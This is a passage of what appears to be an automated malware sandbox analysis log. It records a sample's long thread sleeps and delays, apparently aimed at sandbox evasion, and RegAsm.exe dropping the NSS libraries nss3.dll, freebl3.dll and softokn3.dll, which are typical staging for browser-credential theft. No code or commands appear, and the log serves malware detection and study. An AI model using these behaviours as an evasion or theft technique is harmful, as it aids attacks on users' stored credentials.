Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533617	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533464	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532983	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531806	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530856	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530718	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530537	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529964	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529623	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529296	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528919	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528358	Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Window / User API: threadDelayed 5279

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 7.3 %

Source: C:\Users\user\Desktop\file.exe TID: 6348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe TID: 3836	Thread sleep count: 122 > 30	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe TID: 3836	Thread sleep count: 152 > 30	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe TID: 7088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 6516	Thread sleep count: 5279 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99747s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99548s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99089s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -98802s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -98563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -98314s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99973s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99103s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99952s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99730s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -99047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -596479s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -595883s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -595319s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -594591s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -594394s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -594125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -593937s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -593758s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -593582s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -593391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -593246s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -593047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -592828s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -592547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -592116s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -591922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -591750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -591516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -591344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -591172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -590906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -590594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -590391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -590203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -589906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -589342s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -589136s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -588943s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -588736s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -588500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -588313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -588063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -587847s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -587682s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -587461s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -587031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -586636s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -586436s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -586224s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -586049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -585906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -585703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -585545s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -585344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -585188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -584988s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -584750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -584125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -583875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -583699s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -583510s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -583328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -583156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -583014s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -582813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -582656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -582448s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -582281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -582091s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -581360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -581175s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -580969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -580775s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -580531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -580355s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -580232s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -580041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -579874s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -579656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -579480s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -578719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -578469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -578188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -577969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -577750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -577531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -577344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -577140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -576995s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -576797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -576531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -576000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -575719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -575506s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -575360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -575191s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -575014s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -574731s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -574559s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -574328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -574141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -573875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -573313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -573141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -572953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -572719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -572544s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -572313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -572156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -571984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -571811s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -571615s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -571438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -570844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -570578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -570360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -570141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -569969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -569753s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -569585s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -569399s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -569161s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -568960s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -568809s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -568601s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -568375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -568172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -567953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -567750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -567556s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -567340s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -567141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -566975s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -566815s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -566607s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -566047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -565841s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -565622s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -565442s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -565203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -564953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -564703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -564556s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -564349s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -564078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -563602s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -563478s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -563313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -563087s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -562860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -562660s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -562460s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -562268s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -562140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -561966s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -561766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -561512s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -561047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -560813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -560620s >= -30000s	Jump to behavior
